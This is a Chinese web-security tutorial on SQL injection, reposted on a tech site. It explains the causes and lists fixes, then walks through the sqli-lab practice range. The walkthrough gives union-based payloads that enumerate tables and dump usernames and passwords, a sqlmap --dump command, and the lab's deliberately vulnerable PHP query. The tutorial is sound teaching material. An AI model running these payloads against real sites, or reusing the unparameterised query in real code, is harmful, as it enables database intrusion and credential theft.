IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> WEB安全-SQL注入 -> 正文阅读

[网络协议]WEB安全-SQL注入

注意:文章仅供大家参考学习


前言


注意:文章仅供大家参考
网络安全中的SQL注入漏洞

一、SQL注入是什么?

注意:个人理解
了解SQL注入之前,我们首先需要知道数据库的概念,数据库是企业或者程序开发人员用于存储数据的地方,数据库有相应的语句,语法,可以让我们对存储在数据库中的内容进行增删改查,渗透测试时,通过在网站上某些特殊位置,构造有特殊目的的数据库语句,从而可以得到我们想要的网站数据,包括像用户名,密码,甚至是用户和网站的敏感信息,假如得到管理员的账户信息,那危害可想而知,我们把这个构造特殊目的的数据库语句,并成功让服务器执行的过程就叫SQL注入;常见的数据库有MYSQL,ORACLE,SQL SERVER等

二、造成SQL注入的原因

web应用程序对用户输入数据的合法性没有判断或过滤不严格,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此欺骗数据库服务器执行非授权的任意查询,从而拿到自己想要的数据

三、SQL注入原理

网站一般都分为前端后端,前端主要是与用户进行交互的,用户在前端进行操作,后端根据用户的操作,执行相应的数据处理,并将数据返回到前端,前端再将数据渲染到页面,在后端进行数据处理的时候,一般需要使用SQL语句查询数据库,在页面数据交互的地方,攻击者构造sql语句,使web服务器执行恶意命令访问数据库,得到敏感数据,需要注意的是,参数用户可以控制,而且参数可以带入数据库查询,是sql注入的重要条件

四、修复建议

  1. 对用户输入的数据进行过滤,过滤sql语句的关键字,像select,union,order by,',",),from等
  2. 在开发过程中,尽量使用预处理,或者使用最新的框架,来替换平常的sql语句
  3. 安装相应的安全设备,如WAF(web应用防火墙)

五、靶场演示

靶场为sqli-lab
在这里给参数"id"传值,发现页面会显示用户名和密码,接下来我们探测注入点

在这里插入图片描述
我们给参数id传值 1’ 发现页面报错

在这里插入图片描述
再给参数id传值 1" 发现页面显示正常,可以验证这里是存在注入点, 闭合使用的是’

在这里插入图片描述

接下来判断有几个字段,并使用 " ’ --+ "来闭合SQL语句, 构造Payload id=1’ order by 4 --+, 发现报错,说明数据库中的字段个数不足4,小于4,继续向下测试

在这里插入图片描述
构造payload id=1’ order by 3 --+ 发现页面显示正常, 说明有3个字段

在这里插入图片描述
构造payload id=1’ and 1=2 union select 1,2,3 --+ 判断那个字段可以回显

在这里插入图片描述
经过上面判断,回显的字段,在2,3 字段,构造payload id=1’ and 1=2 union select 1,database(),@@datadir --+ 查看当前数据库,以及数据库的路径

在这里插入图片描述

经过上面测试,知道当前的数据库名字为security , 构造payload id=1’ and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),@@datadir --+ 查看当前数据库中存在那些表

在这里插入图片描述

通过上面的查询存在的表,我们看到有一个非常敏感的表明"users", 我们开始查询"users" 表中有哪些字段,构造payload id=1’ and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),@@datadir --+

在这里插入图片描述

通过查询users 表中的字段,我们可以发现存在username,password,这些敏感字段,接下来,就是查询users中,username password 字段对应的值,构造payload id=1’ and 1=2 union select 1,(select group_concat(concat(username,password,‘**’)) from users),@@datadir --+

在这里插入图片描述
以上就是我们手工注入的过程,这也是比较基本的sql注入,下面,用工具sqlmap 来跑一下,速度更快

python sqlmap.py -u "http://192.168.72.138/sqli-lab/Less-1/?id=1" --current-db --dump --batch

在这里插入图片描述

六、关键分析代码

//这里的$id=$_GET['id'],是以GET方式获取我们在页面给id传入的参数值
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//当我们输入id=1' and 1=2 union select 1,database(),@@datadir --+ 的时候
//这里的sql语句就会变成
//$sql = "SELECT * FROM users WHERE id='1' and 1=2 union select 1,database(),@@datadir";
//mysql_query($sql)执行的时候,就变成了我们特意构造的sql语句,这样就会返回一些敏感数据,从而实现SQL注入攻击
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-09-21 01:01:36  更:2022-09-21 01:01:58 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 21:37:22-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码